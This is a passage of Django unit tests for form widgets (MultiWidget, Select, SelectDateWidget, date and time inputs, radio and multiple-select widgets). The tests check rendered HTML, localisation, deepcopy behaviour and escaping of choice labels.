        super(ComplexMultiWidget, self).__init__(widgets, attrs)

    def decompress(self, value):
        if value:
            data = value.split(',')
            return [
                data[0], list(data[1]), datetime.strptime(data[2], "%Y-%m-%d %H:%M:%S")
            ]
        return [None, None, None]

    def format_output(self, rendered_widgets):
        return '\n'.join(rendered_widgets)


class ComplexField(MultiValueField):
    def __init__(self, required=True, widget=None, label=None, initial=None):
        fields = (
            CharField(),
            MultipleChoiceField(choices=WidgetTest.beatles),
            SplitDateTimeField(),
        )
        super(ComplexField, self).__init__(
            fields, required, widget, label, initial,
        )

    def compress(self, data_list):
        if data_list:
            return '%s,%s,%s' % (
                data_list[0], ''.join(data_list[1]), data_list[2],
            )
        return None


class DeepCopyWidget(MultiWidget):
    """
    Used to test MultiWidget.__deepcopy__().
    """
    def __init__(self, choices=[]):
        widgets = [
            RadioSelect(choices=choices),
            TextInput,
        ]
        super(DeepCopyWidget, self).__init__(widgets)

    def _set_choices(self, choices):
        """
        When choices are set for this widget, we want to pass those along to
        the Select widget.
        """
        self.widgets[0].choices = choices

    def _get_choices(self):
        """
        The choices for this widget are the Select widget's choices.
        """
        return self.widgets[0].choices
    choices = property(_get_choices, _set_choices)


class MultiWidgetTest(WidgetTest):

    def test_text_inputs(self):
        widget = MyMultiWidget(
            widgets=(
                TextInput(attrs={'class': 'big'}),
                TextInput(attrs={'class': 'small'}),
            )
        )
        self.check_html(widget, 'name', ['john', 'lennon'], html=(
            '<input type="text" class="big" value="john" name="name_0" />'
            '<input type="text" class="small" value="lennon" name="name_1" />'
        ))
        self.check_html(widget, 'name', 'john__lennon', html=(
            '<input type="text" class="big" value="john" name="name_0" />'
            '<input type="text" class="small" value="lennon" name="name_1" />'
        ))
        self.check_html(widget, 'name', 'john__lennon', attrs={'id': 'foo'}, html=(
            '<input id="foo_0" type="text" class="big" value="john" name="name_0" />'
            '<input id="foo_1" type="text" class="small" value="lennon" name="name_1" />'
        ))

    def test_constructor_attrs(self):
        widget = MyMultiWidget(
            widgets=(
                TextInput(attrs={'class': 'big'}),
                TextInput(attrs={'class': 'small'}),
            ),
            attrs={'id': 'bar'},
        )
        self.check_html(widget, 'name', ['john', 'lennon'], html=(
            '<input id="bar_0" type="text" class="big" value="john" name="name_0" />'
            '<input id="bar_1" type="text" class="small" value="lennon" name="name_1" />'
        ))

    def test_needs_multipart_true(self):
        """
        needs_multipart_form should be True if any widgets need it.
        """
        widget = MyMultiWidget(widgets=(TextInput(), FileInput()))
        self.assertTrue(widget.needs_multipart_form)

    def test_needs_multipart_false(self):
        """
        needs_multipart_form should be False if no widgets need it.
        """
        widget = MyMultiWidget(widgets=(TextInput(), TextInput()))
        self.assertFalse(widget.needs_multipart_form)

    def test_nested_multiwidget(self):
        """
        MultiWidgets can be composed of other MultiWidgets.
        """
        widget = ComplexMultiWidget()
        self.check_html(widget, 'name', 'some text,JP,2007-04-25 06:24:00', html=(
            """
            <input type="text" name="name_0" value="some text" />
            <select multiple="multiple" name="name_1">
                <option value="J" selected="selected">John</option>
                <option value="P" selected="selected">Paul</option>
                <option value="G">George</option>
                <option value="R">Ringo</option>
            </select>
            <input type="text" name="name_2_0" value="2007-04-25" />
            <input type="text" name="name_2_1" value="06:24:00" />
            """
        ))

    def test_deepcopy(self):
        """
        MultiWidget should define __deepcopy__() (#12048).
        """
        w1 = DeepCopyWidget(choices=[1, 2, 3])
        w2 = copy.deepcopy(w1)
        w2.choices = [4, 5, 6]
        # w2 ought to be independent of w1, since MultiWidget ought
        # to make a copy of its sub-widgets when it is copied.
        self.assertEqual(w1.choices, [1, 2, 3])












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import copy

from django.forms import Select
from django.utils.safestring import mark_safe

from .base import WidgetTest


class SelectTest(WidgetTest):
    widget = Select
    nested_widget = Select(choices=(
        ('outer1', 'Outer 1'),
        ('Group "1"', (('inner1', 'Inner 1'), ('inner2', 'Inner 2'))),
    ))

    def test_render(self):
        self.check_html(self.widget(choices=self.beatles), 'beatle', 'J', html=(
            """<select name="beatle">
            <option value="J" selected="selected">John</option>
            <option value="P">Paul</option>
            <option value="G">George</option>
            <option value="R">Ringo</option>
            </select>"""
        ))

    def test_render_none(self):
        """
        If the value is None, none of the options are selected.
        """
        self.check_html(self.widget(choices=self.beatles), 'beatle', None, html=(
            """<select name="beatle">
            <option value="J">John</option>
            <option value="P">Paul</option>
            <option value="G">George</option>
            <option value="R">Ringo</option>
            </select>"""
        ))

    def test_render_label_value(self):
        """
        If the value corresponds to a label (but not to an option value), none
        of the options are selected.
        """
        self.check_html(self.widget(choices=self.beatles), 'beatle', 'John', html=(
            """<select name="beatle">
            <option value="J">John</option>
            <option value="P">Paul</option>
            <option value="G">George</option>
            <option value="R">Ringo</option>
            </select>"""
        ))

    def test_render_selected(self):
        """
        Only one option can be selected (#8103).
        """
        choices = [('0', '0'), ('1', '1'), ('2', '2'), ('3', '3'), ('0', 'extra')]

        self.check_html(self.widget(choices=choices), 'choices', '0', html=(
            """<select name="choices">
            <option value="0" selected="selected">0</option>
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
            <option value="0">extra</option>
            </select>"""
        ))

    def test_constructor_attrs(self):
        """
        Select options shouldn't inherit the parent widget attrs.
        """
        widget = Select(
            attrs={'class': 'super', 'id': 'super'},
            choices=[(1, 1), (2, 2), (3, 3)],
        )
        self.check_html(widget, 'num', 2, html=(
            """<select name="num" class="super" id="super">
              <option value="1">1</option>
              <option value="2" selected="selected">2</option>
              <option value="3">3</option>
            </select>"""
        ))

    def test_compare_to_str(self):
        """
        The value is compared to its str().
        """
        self.check_html(
            self.widget(choices=[('1', '1'), ('2', '2'), ('3', '3')]),
            'num', 2,
            html=(
                """<select name="num">
                <option value="1">1</option>
                <option value="2" selected="selected">2</option>
                <option value="3">3</option>
                </select>"""
            ),
        )
        self.check_html(
            self.widget(choices=[(1, 1), (2, 2), (3, 3)]),
            'num', '2',
            html=(
                """<select name="num">
                <option value="1">1</option>
                <option value="2" selected="selected">2</option>
                <option value="3">3</option>
                </select>"""
            ),
        )
        self.check_html(
            self.widget(choices=[(1, 1), (2, 2), (3, 3)]),
            'num', 2,
            html=(
                """<select name="num">
                <option value="1">1</option>
                <option value="2" selected="selected">2</option>
                <option value="3">3</option>
                </select>"""
            ),
        )

    def test_choices_constuctor(self):
        widget = Select(choices=[(1, 1), (2, 2), (3, 3)])
        self.check_html(widget, 'num', 2, html=(
            """<select name="num">
            <option value="1">1</option>
            <option value="2" selected="selected">2</option>
            <option value="3">3</option>
            </select>"""
        ))

    def test_choices_constructor_generator(self):
        """
        If choices is passed to the constructor and is a generator, it can be
        iterated over multiple times without getting consumed.
        """
        def get_choices():
            for i in range(5):
                yield (i, i)

        widget = Select(choices=get_choices())
        self.check_html(widget, 'num', 2, html=(
            """<select name="num">
            <option value="0">0</option>
            <option value="1">1</option>
            <option value="2" selected="selected">2</option>
            <option value="3">3</option>
            <option value="4">4</option>
            </select>"""
        ))
        self.check_html(widget, 'num', 3, html=(
            """<select name="num">
            <option value="0">0</option>
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3" selected="selected">3</option>
            <option value="4">4</option>
            </select>"""
        ))

    def test_choices_escaping(self):
        choices = (('bad', 'you & me'), ('good', mark_safe('you &gt; me')))
        self.check_html(self.widget(choices=choices), 'escape', None, html=(
            """<select name="escape">
            <option value="bad">you &amp; me</option>
            <option value="good">you &gt; me</option>
            </select>"""
        ))

    def test_choices_unicode(self):
        self.check_html(
            self.widget(choices=[('ŠĐĆŽćžšđ', 'ŠĐabcĆŽćžšđ'), ('ćžšđ', 'abcćžšđ')]),
            'email', 'ŠĐĆŽćžšđ',
            html=(
                """<select name="email">
                <option value="\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111" selected="selected">
                    \u0160\u0110abc\u0106\u017d\u0107\u017e\u0161\u0111
                </option>
                <option value="\u0107\u017e\u0161\u0111">abc\u0107\u017e\u0161\u0111</option>
                </select>"""
            ),
        )

    def test_choices_optgroup(self):
        """
        Choices can be nested one level in order to create HTML optgroups.
        """
        self.check_html(self.nested_widget, 'nestchoice', None, html=(
            """<select name="nestchoice">
            <option value="outer1">Outer 1</option>
            <optgroup label="Group &quot;1&quot;">
            <option value="inner1">Inner 1</option>
            <option value="inner2">Inner 2</option>
            </optgroup>
            </select>"""
        ))

    def test_choices_select_outer(self):
        self.check_html(self.nested_widget, 'nestchoice', 'outer1', html=(
            """<select name="nestchoice">
            <option value="outer1" selected="selected">Outer 1</option>
            <optgroup label="Group &quot;1&quot;">
            <option value="inner1">Inner 1</option>
            <option value="inner2">Inner 2</option>
            </optgroup>
            </select>"""
        ))

    def test_choices_select_inner(self):
        self.check_html(self.nested_widget, 'nestchoice', 'inner1', html=(
            """<select name="nestchoice">
            <option value="outer1">Outer 1</option>
            <optgroup label="Group &quot;1&quot;">
            <option value="inner1" selected="selected">Inner 1</option>
            <option value="inner2">Inner 2</option>
            </optgroup>
            </select>"""
        ))

    def test_deepcopy(self):
        """
        __deepcopy__() should copy all attributes properly (#25085).
        """
        widget = Select()
        obj = copy.deepcopy(widget)
        self.assertIsNot(widget, obj)
        self.assertEqual(widget.choices, obj.choices)
        self.assertIsNot(widget.choices, obj.choices)
        self.assertEqual(widget.attrs, obj.attrs)
        self.assertIsNot(widget.attrs, obj.attrs)






from django.forms import FileInput

from .base import WidgetTest


class FileInputTest(WidgetTest):
    widget = FileInput()

    def test_render(self):
        """
        FileInput widgets never render the value attribute. The old value
        isn't useful if a form is updated or an error occurred.
        """
        self.check_html(self.widget, 'email', 'test@example.com', html='<input type="file" name="email" />')
        self.check_html(self.widget, 'email', '', html='<input type="file" name="email" />')
        self.check_html(self.widget, 'email', None, html='<input type="file" name="email" />')






from datetime import date

from django.forms import DateField, Form, SelectDateWidget
from django.test import override_settings
from django.utils import translation
from django.utils.dates import MONTHS_AP

from .base import WidgetTest


class SelectDateWidgetTest(WidgetTest):
    maxDiff = None
    widget = SelectDateWidget(
        years=('2007', '2008', '2009', '2010', '2011', '2012', '2013', '2014', '2015', '2016'),
    )

    def test_render_empty(self):
        self.check_html(self.widget, 'mydate', '', html=(
            """
            <select name="mydate_month" id="id_mydate_month">
                <option value="0">---</option>
                <option value="1">January</option>
                <option value="2">February</option>
                <option value="3">March</option>
                <option value="4">April</option>
                <option value="5">May</option>
                <option value="6">June</option>
                <option value="7">July</option>
                <option value="8">August</option>
                <option value="9">September</option>
                <option value="10">October</option>
                <option value="11">November</option>
                <option value="12">December</option>
            </select>

            <select name="mydate_day" id="id_mydate_day">
                <option value="0">---</option>
                <option value="1">1</option>
                <option value="2">2</option>
                <option value="3">3</option>
                <option value="4">4</option>
                <option value="5">5</option>
                <option value="6">6</option>
                <option value="7">7</option>
                <option value="8">8</option>
                <option value="9">9</option>
                <option value="10">10</option>
                <option value="11">11</option>
                <option value="12">12</option>
                <option value="13">13</option>
                <option value="14">14</option>
                <option value="15">15</option>
                <option value="16">16</option>
                <option value="17">17</option>
                <option value="18">18</option>
                <option value="19">19</option>
                <option value="20">20</option>
                <option value="21">21</option>
                <option value="22">22</option>
                <option value="23">23</option>
                <option value="24">24</option>
                <option value="25">25</option>
                <option value="26">26</option>
                <option value="27">27</option>
                <option value="28">28</option>
                <option value="29">29</option>
                <option value="30">30</option>
                <option value="31">31</option>
            </select>

            <select name="mydate_year" id="id_mydate_year">
                <option value="0">---</option>
                <option value="2007">2007</option>
                <option value="2008">2008</option>
                <option value="2009">2009</option>
                <option value="2010">2010</option>
                <option value="2011">2011</option>
                <option value="2012">2012</option>
                <option value="2013">2013</option>
                <option value="2014">2014</option>
                <option value="2015">2015</option>
                <option value="2016">2016</option>
            </select>
            """
        ))

    def test_render_none(self):
        """
        Rendering the None or '' values should yield the same output.
        """
        self.assertHTMLEqual(
            self.widget.render('mydate', None),
            self.widget.render('mydate', ''),
        )

    def test_render_string(self):
        self.check_html(self.widget, 'mydate', '2010-04-15', html=(
            """
            <select name="mydate_month" id="id_mydate_month">
                <option value="0">---</option>
                <option value="1">January</option>
                <option value="2">February</option>
                <option value="3">March</option>
                <option value="4" selected="selected">April</option>
                <option value="5">May</option>
                <option value="6">June</option>
                <option value="7">July</option>
                <option value="8">August</option>
                <option value="9">September</option>
                <option value="10">October</option>
                <option value="11">November</option>
                <option value="12">December</option>
            </select>

            <select name="mydate_day" id="id_mydate_day">
                <option value="0">---</option>
                <option value="1">1</option>
                <option value="2">2</option>
                <option value="3">3</option>
                <option value="4">4</option>
                <option value="5">5</option>
                <option value="6">6</option>
                <option value="7">7</option>
                <option value="8">8</option>
                <option value="9">9</option>
                <option value="10">10</option>
                <option value="11">11</option>
                <option value="12">12</option>
                <option value="13">13</option>
                <option value="14">14</option>
                <option value="15" selected="selected">15</option>
                <option value="16">16</option>
                <option value="17">17</option>
                <option value="18">18</option>
                <option value="19">19</option>
                <option value="20">20</option>
                <option value="21">21</option>
                <option value="22">22</option>
                <option value="23">23</option>
                <option value="24">24</option>
                <option value="25">25</option>
                <option value="26">26</option>
                <option value="27">27</option>
                <option value="28">28</option>
                <option value="29">29</option>
                <option value="30">30</option>
                <option value="31">31</option>
            </select>

            <select name="mydate_year" id="id_mydate_year">
                <option value="0">---</option>
                <option value="2007">2007</option>
                <option value="2008">2008</option>
                <option value="2009">2009</option>
                <option value="2010" selected="selected">2010</option>
                <option value="2011">2011</option>
                <option value="2012">2012</option>
                <option value="2013">2013</option>
                <option value="2014">2014</option>
                <option value="2015">2015</option>
                <option value="2016">2016</option>
            </select>
            """
        ))

    def test_render_datetime(self):
        self.assertHTMLEqual(
            self.widget.render('mydate', date(2010, 4, 15)),
            self.widget.render('mydate', '2010-04-15'),
        )

    def test_render_invalid_date(self):
        """
        Invalid dates should still render the failed date.
        """
        self.check_html(self.widget, 'mydate', '2010-02-31', html=(
            """
            <select name="mydate_month" id="id_mydate_month">
                <option value="0">---</option>
                <option value="1">January</option>
                <option value="2" selected="selected">February</option>
                <option value="3">March</option>
                <option value="4">April</option>
                <option value="5">May</option>
                <option value="6">June</option>
                <option value="7">July</option>
                <option value="8">August</option>
                <option value="9">September</option>
                <option value="10">October</option>
                <option value="11">November</option>
                <option value="12">December</option>
            </select>

            <select name="mydate_day" id="id_mydate_day">
                <option value="0">---</option>
                <option value="1">1</option>
                <option value="2">2</option>
                <option value="3">3</option>
                <option value="4">4</option>
                <option value="5">5</option>
                <option value="6">6</option>
                <option value="7">7</option>
                <option value="8">8</option>
                <option value="9">9</option>
                <option value="10">10</option>
                <option value="11">11</option>
                <option value="12">12</option>
                <option value="13">13</option>
                <option value="14">14</option>
                <option value="15">15</option>
                <option value="16">16</option>
                <option value="17">17</option>
                <option value="18">18</option>
                <option value="19">19</option>
                <option value="20">20</option>
                <option value="21">21</option>
                <option value="22">22</option>
                <option value="23">23</option>
                <option value="24">24</option>
                <option value="25">25</option>
                <option value="26">26</option>
                <option value="27">27</option>
                <option value="28">28</option>
                <option value="29">29</option>
                <option value="30">30</option>
                <option value="31" selected="selected">31</option>
            </select>

            <select name="mydate_year" id="id_mydate_year">
                <option value="0">---</option>
                <option value="2007">2007</option>
                <option value="2008">2008</option>
                <option value="2009">2009</option>
                <option value="2010" selected="selected">2010</option>
                <option value="2011">2011</option>
                <option value="2012">2012</option>
                <option value="2013">2013</option>
                <option value="2014">2014</option>
                <option value="2015">2015</option>
                <option value="2016">2016</option>
            </select>
            """
        ))

    def test_custom_months(self):
        widget = SelectDateWidget(months=MONTHS_AP, years=('2013',))
        self.check_html(widget, 'mydate', '', html=(
            """
            <select name="mydate_month" id="id_mydate_month">
                <option value="0">---</option>
                <option value="1">Jan.</option>
                <option value="2">Feb.</option>
                <option value="3">March</option>
                <option value="4">April</option>
                <option value="5">May</option>
                <option value="6">June</option>
                <option value="7">July</option>
                <option value="8">Aug.</option>
                <option value="9">Sept.</option>
                <option value="10">Oct.</option>
                <option value="11">Nov.</option>
                <option value="12">Dec.</option>
            </select>

            <select name="mydate_day" id="id_mydate_day">
                <option value="0">---</option>
                <option value="1">1</option>
                <option value="2">2</option>
                <option value="3">3</option>
                <option value="4">4</option>
                <option value="5">5</option>
                <option value="6">6</option>
                <option value="7">7</option>
                <option value="8">8</option>
                <option value="9">9</option>
                <option value="10">10</option>
                <option value="11">11</option>
                <option value="12">12</option>
                <option value="13">13</option>
                <option value="14">14</option>
                <option value="15">15</option>
                <option value="16">16</option>
                <option value="17">17</option>
                <option value="18">18</option>
                <option value="19">19</option>
                <option value="20">20</option>
                <option value="21">21</option>
                <option value="22">22</option>
                <option value="23">23</option>
                <option value="24">24</option>
                <option value="25">25</option>
                <option value="26">26</option>
                <option value="27">27</option>
                <option value="28">28</option>
                <option value="29">29</option>
                <option value="30">30</option>
                <option value="31">31</option>
            </select>

            <select name="mydate_year" id="id_mydate_year">
                <option value="0">---</option>
                <option value="2013">2013</option>
            </select>
            """
        ))

    def test_selectdate_required(self):
        class GetNotRequiredDate(Form):
            mydate = DateField(widget=SelectDateWidget, required=False)

        class GetRequiredDate(Form):
            mydate = DateField(widget=SelectDateWidget, required=True)

        self.assertFalse(GetNotRequiredDate().fields['mydate'].widget.is_required)
        self.assertTrue(GetRequiredDate().fields['mydate'].widget.is_required)

    def test_selectdate_empty_label(self):
        w = SelectDateWidget(years=('2014',), empty_label='empty_label')

        # Rendering the default state with empty_label setted as string.
        self.assertInHTML('<option value="0">empty_label</option>', w.render('mydate', ''), count=3)

        w = SelectDateWidget(years=('2014',), empty_label=('empty_year', 'empty_month', 'empty_day'))

        # Rendering the default state with empty_label tuple.
        self.assertHTMLEqual(
            w.render('mydate', ''),
            """
            <select name="mydate_month" id="id_mydate_month">
                <option value="0">empty_month</option>
                <option value="1">January</option>
                <option value="2">February</option>
                <option value="3">March</option>
                <option value="4">April</option>
                <option value="5">May</option>
                <option value="6">June</option>
                <option value="7">July</option>
                <option value="8">August</option>
                <option value="9">September</option>
                <option value="10">October</option>
                <option value="11">November</option>
                <option value="12">December</option>
            </select>

            <select name="mydate_day" id="id_mydate_day">
                <option value="0">empty_day</option>
                <option value="1">1</option>
                <option value="2">2</option>
                <option value="3">3</option>
                <option value="4">4</option>
                <option value="5">5</option>
                <option value="6">6</option>
                <option value="7">7</option>
                <option value="8">8</option>
                <option value="9">9</option>
                <option value="10">10</option>
                <option value="11">11</option>
                <option value="12">12</option>
                <option value="13">13</option>
                <option value="14">14</option>
                <option value="15">15</option>
                <option value="16">16</option>
                <option value="17">17</option>
                <option value="18">18</option>
                <option value="19">19</option>
                <option value="20">20</option>
                <option value="21">21</option>
                <option value="22">22</option>
                <option value="23">23</option>
                <option value="24">24</option>
                <option value="25">25</option>
                <option value="26">26</option>
                <option value="27">27</option>
                <option value="28">28</option>
                <option value="29">29</option>
                <option value="30">30</option>
                <option value="31">31</option>
            </select>

            <select name="mydate_year" id="id_mydate_year">
                <option value="0">empty_year</option>
                <option value="2014">2014</option>
            </select>
            """,
        )

        with self.assertRaisesMessage(ValueError, 'empty_label list/tuple must have 3 elements.'):
            SelectDateWidget(years=('2014',), empty_label=('not enough', 'values'))

    @override_settings(USE_L10N=True)
    @translation.override('nl')
    def test_l10n(self):
        w = SelectDateWidget(
            years=('2007', '2008', '2009', '2010', '2011', '2012', '2013', '2014', '2015', '2016')
        )
        self.assertEqual(
            w.value_from_datadict({'date_year': '2010', 'date_month': '8', 'date_day': '13'}, {}, 'date'),
            '13-08-2010',
        )

        self.assertHTMLEqual(
            w.render('date', '13-08-2010'),
            """
            <select name="date_day" id="id_date_day">
                <option value="0">---</option>
                <option value="1">1</option>
                <option value="2">2</option>
                <option value="3">3</option>
                <option value="4">4</option>
                <option value="5">5</option>
                <option value="6">6</option>
                <option value="7">7</option>
                <option value="8">8</option>
                <option value="9">9</option>
                <option value="10">10</option>
                <option value="11">11</option>
                <option value="12">12</option>
                <option value="13" selected="selected">13</option>
                <option value="14">14</option>
                <option value="15">15</option>
                <option value="16">16</option>
                <option value="17">17</option>
                <option value="18">18</option>
                <option value="19">19</option>
                <option value="20">20</option>
                <option value="21">21</option>
                <option value="22">22</option>
                <option value="23">23</option>
                <option value="24">24</option>
                <option value="25">25</option>
                <option value="26">26</option>
                <option value="27">27</option>
                <option value="28">28</option>
                <option value="29">29</option>
                <option value="30">30</option>
                <option value="31">31</option>
            </select>

            <select name="date_month" id="id_date_month">
                <option value="0">---</option>
                <option value="1">januari</option>
                <option value="2">februari</option>
                <option value="3">maart</option>
                <option value="4">april</option>
                <option value="5">mei</option>
                <option value="6">juni</option>
                <option value="7">juli</option>
                <option value="8" selected="selected">augustus</option>
                <option value="9">september</option>
                <option value="10">oktober</option>
                <option value="11">november</option>
                <option value="12">december</option>
            </select>

            <select name="date_year" id="id_date_year">
                <option value="0">---</option>
                <option value="2007">2007</option>
                <option value="2008">2008</option>
                <option value="2009">2009</option>
                <option value="2010" selected="selected">2010</option>
                <option value="2011">2011</option>
                <option value="2012">2012</option>
                <option value="2013">2013</option>
                <option value="2014">2014</option>
                <option value="2015">2015</option>
                <option value="2016">2016</option>
            </select>
            """,
        )

        # Even with an invalid date, the widget should reflect the entered value (#17401).
        self.assertEqual(w.render('mydate', '2010-02-30').count('selected="selected"'), 3)

        # Years before 1900 should work.
        w = SelectDateWidget(years=('1899',))
        self.assertEqual(
            w.value_from_datadict({'date_year': '1899', 'date_month': '8', 'date_day': '13'}, {}, 'date'),
            '13-08-1899',
        )






from datetime import date

from django.forms import DateInput
from django.test import override_settings
from django.utils import translation

from .base import WidgetTest


class DateInputTest(WidgetTest):
    widget = DateInput()

    def test_render_none(self):
        self.check_html(self.widget, 'date', None, html='<input type="text" name="date" />')

    def test_render_value(self):
        d = date(2007, 9, 17)
        self.assertEqual(str(d), '2007-09-17')

        self.check_html(self.widget, 'date', d, html='<input type="text" name="date" value="2007-09-17" />')
        self.check_html(self.widget, 'date', date(2007, 9, 17), html=(
            '<input type="text" name="date" value="2007-09-17" />'
        ))

    def test_string(self):
        """
        Should be able to initialize from a string value.
        """
        self.check_html(self.widget, 'date', '2007-09-17', html=(
            '<input type="text" name="date" value="2007-09-17" />'
        ))

    def test_format(self):
        """
        Use 'format' to change the way a value is displayed.
        """
        d = date(2007, 9, 17)
        widget = DateInput(format='%d/%m/%Y', attrs={'type': 'date'})
        self.check_html(widget, 'date', d, html='<input type="date" name="date" value="17/09/2007" />')

    @override_settings(USE_L10N=True)
    @translation.override('de-at')
    def test_l10n(self):
        self.check_html(
            self.widget, 'date', date(2007, 9, 17),
            html='<input type="text" name="date" value="17.09.2007" />',
        )






from django.forms import HiddenInput

from .base import WidgetTest


class HiddenInputTest(WidgetTest):
    widget = HiddenInput()

    def test_render(self):
        self.check_html(self.widget, 'email', '', html='<input type="hidden" name="email" />')

    def test_use_required_attribute(self):
        # Always False to avoid browser validation on inputs hidden from the
        # user.
        self.assertIs(self.widget.use_required_attribute(None), False)
        self.assertIs(self.widget.use_required_attribute(''), False)
        self.assertIs(self.widget.use_required_attribute('foo'), False)






from datetime import time

from django.forms import TimeInput
from django.test import override_settings
from django.utils import translation

from .base import WidgetTest


class TimeInputTest(WidgetTest):
    widget = TimeInput()

    def test_render_none(self):
        self.check_html(self.widget, 'time', None, html='<input type="text" name="time" />')

    def test_render_value(self):
        """
        The microseconds are trimmed on display, by default.
        """
        t = time(12, 51, 34, 482548)
        self.assertEqual(str(t), '12:51:34.482548')
        self.check_html(self.widget, 'time', t, html='<input type="text" name="time" value="12:51:34" />')
        self.check_html(self.widget, 'time', time(12, 51, 34), html=(
            '<input type="text" name="time" value="12:51:34" />'
        ))
        self.check_html(self.widget, 'time', time(12, 51), html=(
            '<input type="text" name="time" value="12:51:00" />'
        ))

    def test_string(self):
        """
        We should be able to initialize from a unicode value.
        """
        self.check_html(self.widget, 'time', '13:12:11', html=(
            '<input type="text" name="time" value="13:12:11" />'
        ))

    def test_format(self):
        """
        Use 'format' to change the way a value is displayed.
        """
        t = time(12, 51, 34, 482548)
        widget = TimeInput(format='%H:%M', attrs={'type': 'time'})
        self.check_html(widget, 'time', t, html='<input type="time" name="time" value="12:51" />')

    @override_settings(USE_L10N=True)
    @translation.override('de-at')
    def test_l10n(self):
        t = time(12, 51, 34, 482548)
        self.check_html(self.widget, 'time', t, html='<input type="text" name="time" value="12:51:34" />')






from django.forms import RadioSelect

from .base import WidgetTest


class RadioSelectTest(WidgetTest):
    widget = RadioSelect

    def test_render(self):
        self.check_html(self.widget(choices=self.beatles), 'beatle', 'J', html=(
            """<ul>
            <li><label><input checked type="radio" name="beatle" value="J" /> John</label></li>
            <li><label><input type="radio" name="beatle" value="P" /> Paul</label></li>
            <li><label><input type="radio" name="beatle" value="G" /> George</label></li>
            <li><label><input type="radio" name="beatle" value="R" /> Ringo</label></li>
            </ul>"""
        ))

    def test_nested_choices(self):
        nested_choices = (
            ('unknown', 'Unknown'),
            ('Audio', (('vinyl', 'Vinyl'), ('cd', 'CD'))),
            ('Video', (('vhs', 'VHS'), ('dvd', 'DVD'))),
        )
        html = """
        <ul id="media">
        <li>
        <label for="media_0"><input id="media_0" name="nestchoice" type="radio" value="unknown" /> Unknown</label>
        </li>
        <li>Audio<ul id="media_1">
        <li>
        <label for="media_1_0"><input id="media_1_0" name="nestchoice" type="radio" value="vinyl" /> Vinyl</label>
        </li>
        <li><label for="media_1_1"><input id="media_1_1" name="nestchoice" type="radio" value="cd" /> CD</label></li>
        </ul></li>
        <li>Video<ul id="media_2">
        <li><label for="media_2_0"><input id="media_2_0" name="nestchoice" type="radio" value="vhs" /> VHS</label></li>
        <li>
        <label for="media_2_1">
        <input checked id="media_2_1" name="nestchoice" type="radio" value="dvd" /> DVD
        </label>
        </li>
        </ul></li>
        </ul>
        """
        self.check_html(
            self.widget(choices=nested_choices), 'nestchoice', 'dvd',
            attrs={'id': 'media'}, html=html,
        )

    def test_constructor_attrs(self):
        """
        Attributes provided at instantiation are passed to the constituent
        inputs.
        """
        widget = RadioSelect(attrs={'id': 'foo'}, choices=self.beatles)
        html = """
        <ul id="foo">
        <li>
        <label for="foo_0"><input checked type="radio" id="foo_0" value="J" name="beatle" /> John</label>
        </li>
        <li><label for="foo_1"><input type="radio" id="foo_1" value="P" name="beatle" /> Paul</label></li>
        <li><label for="foo_2"><input type="radio" id="foo_2" value="G" name="beatle" /> George</label></li>
        <li><label for="foo_3"><input type="radio" id="foo_3" value="R" name="beatle" /> Ringo</label></li>
        </ul>
        """
        self.check_html(widget, 'beatle', 'J', html=html)

    def test_render_attrs(self):
        """
        Attributes provided at render-time are passed to the constituent
        inputs.
        """
        html = """
        <ul id="bar">
        <li>
        <label for="bar_0"><input checked type="radio" id="bar_0" value="J" name="beatle" /> John</label>
        </li>
        <li><label for="bar_1"><input type="radio" id="bar_1" value="P" name="beatle" /> Paul</label></li>
        <li><label for="bar_2"><input type="radio" id="bar_2" value="G" name="beatle" /> George</label></li>
        <li><label for="bar_3"><input type="radio" id="bar_3" value="R" name="beatle" /> Ringo</label></li>
        </ul>
        """
        self.check_html(self.widget(choices=self.beatles), 'beatle', 'J', attrs={'id': 'bar'}, html=html)






from django.forms import SelectMultiple

from .base import WidgetTest


class SelectMultipleTest(WidgetTest):
    widget = SelectMultiple
    numeric_choices = (('0', '0'), ('1', '1'), ('2', '2'), ('3', '3'), ('0', 'extra'))

    def test_render_selected(self):
        self.check_html(self.widget(choices=self.beatles), 'beatles', ['J'], html=(
            """<select multiple="multiple" name="beatles">
            <option value="J" selected="selected">John</option>
            <option value="P">Paul</option>
            <option value="G">George</option>
            <option value="R">Ringo</option>
            </select>"""
        ))

    def test_render_multiple_selected(self):
        self.check_html(self.widget(choices=self.beatles), 'beatles', ['J', 'P'], html=(
            """<select multiple="multiple" name="beatles">
            <option value="J" selected="selected">John</option>
            <option value="P" selected="selected">Paul</option>
            <option value="G">George</option>
            <option value="R">Ringo</option>
            </select>"""
        ))

    def test_render_none(self):
        """
        If the value is None, none of the options are selected.
        """
        self.check_html(self.widget(choices=self.beatles), 'beatles', None, html=(
            """<select multiple="multiple" name="beatles">
            <option value="J">John</option>
            <option value="P">Paul</option>
            <option value="G">George</option>
            <option value="R">Ringo</option>
            </select>"""
        ))

    def test_render_value_label(self):
        """
        If the value corresponds to a label (but not to an option value), none
        of the options are selected.
        """
        self.check_html(self.widget(choices=self.beatles), 'beatles', ['John'], html=(
            """<select multiple="multiple" name="beatles">
            <option value="J">John</option>
            <option value="P">Paul</option>
            <option value="G">George</option>
            <option value="R">Ringo</option>
            </select>"""
        ))

    def test_multiple_options_same_value(self):
        """
        Multiple options with the same value can be selected (#8103).
        """
        self.check_html(self.widget(choices=self.numeric_choices), 'choices', ['0'], html=(
            """<select multiple="multiple" name="choices">
            <option value="0" selected="selected">0</option>
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
            <option value="0" selected="selected">extra</option>
            </select>"""
        ))

    def test_multiple_values_invalid(self):
        """
        If multiple values are given, but some of them are not valid, the valid
        ones are selected.
        """
        self.check_html(self.widget(choices=self.beatles), 'beatles', ['J', 'G', 'foo'], html=(
            """<select multiple="multiple" name="beatles">
            <option value="J" selected="selected">John</option>
            <option value="P">Paul</option>
            <option value="G" selected="selected">George</option>
            <option value="R">Ringo</option>
            </select>"""
        ))

    def test_compare_string(self):
        choices = [('1', '1'), ('2', '2'), ('3', '3')]

        self.check_html(self.widget(choices=choices), 'nums', [2], html=(
            """<select multiple="multiple" name="nums">
            <option value="1">1</option>
            <option value="2" selected="selected">2</option>
            <option value="3">3</option>
            </select>"""
        ))

        self.check_html(self.widget(choices=choices), 'nums', ['2'], html=(
            """<select multiple="multiple" name="nums">
            <option value="1">1</option>
            <option value="2" selected="selected">2</option>
            <option value="3">3</option>
            </select>"""
        ))
